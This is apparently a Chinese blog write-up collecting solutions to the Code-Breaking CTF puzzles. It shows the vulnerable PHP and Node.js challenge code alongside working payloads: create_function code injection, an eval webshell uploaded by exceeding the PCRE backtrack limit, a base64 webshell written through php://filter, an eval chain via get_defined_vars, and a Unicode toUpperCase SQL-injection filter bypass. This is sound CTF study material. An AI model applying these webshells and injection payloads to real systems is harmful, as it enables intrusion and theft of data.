0x00 : 简介
平台地址 : https://code-breaking.com/
感谢p牛的题目. p牛博客 : https://www.leavesongs.com/
本篇博客主要搬运一下师傅们的writeup,感觉之后比赛能碰到类似思路.
0x01 : easy-function
环境 : Apache/2.4.25 (Debian) PHP/7.2.12
题目源码
<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';
if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
show_source(__FILE__);
} else {
$action('', $arg);
}
题解来源 : http://f1sh.site/2018/11/25/code-breaking-puzzles%e5%81%9a%e9%a2%98%e8%ae%b0%e5%bd%95/
如何在数字字母下划线都被禁用的情况下调用函数,苦思无果于是决定寄出fuzz大法:因为正则里用了^$,那么有没有可能在开头或结尾加入某个字符来绕过正则且函数依然能调用呢?
这个字符是%5C,不知道为什么把它加在函数名之前依然不影响正常调用函数.
于是绕过了正则,可以任意函数调用了.我们可以控制函数的第二个参数,有哪个函数第二个参数比较危险呢?经过漫长的查找最终发现 : PHP create_function()代码注入
列目录 : http://51.158.75.42:8087/?action=\create_function&arg=return%201;}print_r(scandir(%22/var/www/%22));//
拿flag : http://51.158.75.42:8087/?action=\create_function&arg=return%201;}print_r(file(%22/var/www/flag_h0w2execute_arb1trary_c0de%22));//
0x02 : easy-function
环境 : Apache/2.4.25 (Debian) PHP/7.1.24
题目源码
<?php
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}
if(empty($_FILES)) {
die(show_source(__FILE__));
}
$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
echo "bad request";
} else {
@mkdir($user_dir, 0755);
$path = $user_dir . '/' . random_int(0, 10) . '.php';
move_uploaded_file($_FILES['file']['tmp_name'], $path);
header("Location: $path", true, 303);
}
本题主要的问题是 : 深悉正则(pcre)最大回溯/递归限制
本地创建一个上传页面
<html>
<head>
<meta charset="utf-8">
</head>
<body>
<form action="http://51.158.75.42:8088/" method="post" enctype="multipart/form-data">
<input type="file" name="upfile" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
然后创建一个php文件
<?php
@eval($_GET['saltyfishyu']);//AAAAAAAAA....
?>
加入很多个A,这里我大概加了100k个A,目的是A的数量超过pcre.backtrack_limit
,使得无法通过第一个判断而创造文件.
0x03 : easy-phpmagic
环境 : Apache/2.4.10 (Debian) PHP/5.6.33
题目源码
The First Part
:
<?php
if(isset($_GET['read-source'])) {
exit(show_source(__FILE__));
}
define('DATA_DIR', dirname(__FILE__) . '/data/' . md5($_SERVER['REMOTE_ADDR']));
if(!is_dir(DATA_DIR)) {
mkdir(DATA_DIR, 0755, true);
}
chdir(DATA_DIR);
$domain = isset($_POST['domain']) ? $_POST['domain'] : '';
$log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d');
?>
The Second Part
:
<?php if(!empty($_POST) && $domain):
$command = sprintf("dig -t A -q %s", escapeshellarg($domain));
$output = shell_exec($command);
$output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);
$log_name = $_SERVER['SERVER_NAME'] . $log_name;
if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {
file_put_contents($log_name, $output);
}
echo $output;
endif; ?></pre>
这个题目是以前说过的绕过死亡exit
时候的一个技巧,file_put_contents
的文件名是可以使用php
伪协议的,也就是说,可以对文件内容进行base64_decode
后再写入文件的
然后写入文件的后缀使用了另外一个小技巧,php
在处理路径的时候,会递归的删除掉路径中存在的/.
php & apache2 &操作系统之间的一些黑魔法
第二段代码还对log_name
做了处理$log_name = $_SERVER['SERVER_NAME'] . $log_name;
这里本地测试了一下$_SERVER['SERVER_NAME']
主要取的是HTTP
头部中的HOST
值
这里我是这样写文件的 :
POST / HTTP/1.1
Host: php
domain=PD9waHAgQGV2YWwoJF9HRVRbJzEyMyddKTs/Pg&log=://filter/write=convert.base64-decode/resource=123.php/.
文件目录是 : '/data' . 你ip的md5值 . 你的php文件名
列目录 : http://51.158.75.42:8082/data/485ad506210374c60f99a0512bfa4a09/123.php?123=print_r(scandir(%22/var/www/%22));
拿flag : http://51.158.75.42:8082/data/485ad506210374c60f99a0512bfa4a09/123.php?123=print_r(file(%22/var/www/flag_phpmag1c_ur1%22));
0x04 : easy-phplimit
环境 : nginx/1.15.6 PHP/5.6.38
题目源码
<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
} else {
show_source(__FILE__);
}
代码为RCTF 2018
的r-cursive
不过环境由apache
改为nginx
所以原题解的getallheaders()
就无法使用,这里使用这个get_defined_vars()
以下为解题过程:
First
:
GET /?code=var_dump(get_defined_vars()); HTTP/1.1
array(4) {
["_GET"]=>
array(1) {
["code"]=>
string(29) "var_dump(get_defined_vars());"
}
["_POST"]=>
array(0) {
}
["_COOKIE"]=>
array(0) {
}
["_FILES"]=>
array(0) {
}
}
Second
:
GET /?code=var_dump(next(current(get_defined_vars())));&1=print_r(scandir("/var/www/")); HTTP/1.1
string(30) "print_r(scandir("/var/www/"));"
Third
:
GET /?code=eval(next(current(get_defined_vars())));&1=print_r(scandir("/var/www/")); HTTP/1.1
Array
(
[0] => .
[1] => ..
[2] => flag_phpbyp4ss
[3] => html
)
Finally
:
GET /?code=eval(next(current(get_defined_vars())));&1=print_r(file("/var/www/flag_phpbyp4ss")); HTTP/1.1
0x05 : easy-nodechr
环境 :
题目源码
// initial libraries
const Koa = require('koa')
const sqlite = require('sqlite')
const fs = require('fs')
const views = require('koa-views')
const Router = require('koa-router')
const send = require('koa-send')
const bodyParser = require('koa-bodyparser')
const session = require('koa-session')
const isString = require('underscore').isString
const basename = require('path').basename
const config = JSON.parse(fs.readFileSync('../config.json', {encoding: 'utf-8', flag: 'r'}))
async function main() {
const app = new Koa()
const router = new Router()
const db = await sqlite.open(':memory:')
await db.exec(`CREATE TABLE "main"."users" (
"id" INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
"username" TEXT NOT NULL,
"password" TEXT,
CONSTRAINT "unique_username" UNIQUE ("username")
)`)
await db.exec(`CREATE TABLE "main"."flags" (
"id" INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
"flag" TEXT NOT NULL
)`)
for (let user of config.users) {
await db.run(`INSERT INTO "users"("username", "password") VALUES ('${user.username}', '${user.password}')`)
}
await db.run(`INSERT INTO "flags"("flag") VALUES ('${config.flag}')`)
router.all('login', '/login/', login).get('admin', '/', admin).get('static', '/static/:path(.+)', static).get('/source', source)
app.use(views(__dirname + '/views', {
map: {
html: 'underscore'
},
extension: 'html'
})).use(bodyParser()).use(session(app))
app.use(router.routes()).use(router.allowedMethods());
app.keys = config.signed
app.context.db = db
app.context.router = router
app.listen(3000)
}
function safeKeyword(keyword) {
if(isString(keyword) && !keyword.match(/(union|select|;|\-\-)/is)) {
return keyword
}
return undefined
}
async function login(ctx, next) {
if(ctx.method == 'POST') {
let username = safeKeyword(ctx.request.body['username'])
let password = safeKeyword(ctx.request.body['password'])
let jump = ctx.router.url('login')
if (username && password) {
let user = await ctx.db.get(`SELECT * FROM "users" WHERE "username" = '${username.toUpperCase()}' AND "password" = '${password.toUpperCase()}'`)
if (user) {
ctx.session.user = user
jump = ctx.router.url('admin')
}
}
ctx.status = 303
ctx.redirect(jump)
} else {
await ctx.render('index')
}
}
async function static(ctx, next) {
await send(ctx, ctx.path)
}
async function admin(ctx, next) {
if(!ctx.session.user) {
ctx.status = 303
return ctx.redirect(ctx.router.url('login'))
}
await ctx.render('admin', {
'user': ctx.session.user
})
}
async function source(ctx, next) {
await send(ctx, basename(__filename))
}
main()
本题的主要代码在这里 :
function safeKeyword(keyword) {
if(isString(keyword) && !keyword.match(/(union|select|;|\-\-)/is)) {
return keyword
}
return undefined
}
async function login(ctx, next) {
if(ctx.method == 'POST') {
let username = safeKeyword(ctx.request.body['username'])
let password = safeKeyword(ctx.request.body['password'])
let jump = ctx.router.url('login')
if (username && password) {
let user = await ctx.db.get(`SELECT * FROM "users" WHERE "username" = '${username.toUpperCase()}' AND "password" = '${password.toUpperCase()}'`)
if (user) {
ctx.session.user = user
jump = ctx.router.url('admin')
}
}
ctx.status = 303
ctx.redirect(jump)
} else {
await ctx.render('index')
}
}
禁用了union
,select
,但在登录中使用了危险函数toUpperCase()
而这题的bypass
技巧我在我的xss练习笔记(一)中0x0E
中有提到过
这里引用p牛的文章Fuzz中的javascript大小写特性,提到有些字符通过大小写转换可以实现bypass
"ı".toUpperCase() == I
"ſ".toUpperCase() == S
"K".toLowerCase() == k
payload :
POST /login/ HTTP/1.1
username=1&password=' un%c4%b1on %c5%bfelect 1,(%c5%bfelect flag from flags),3'
还不快抢沙发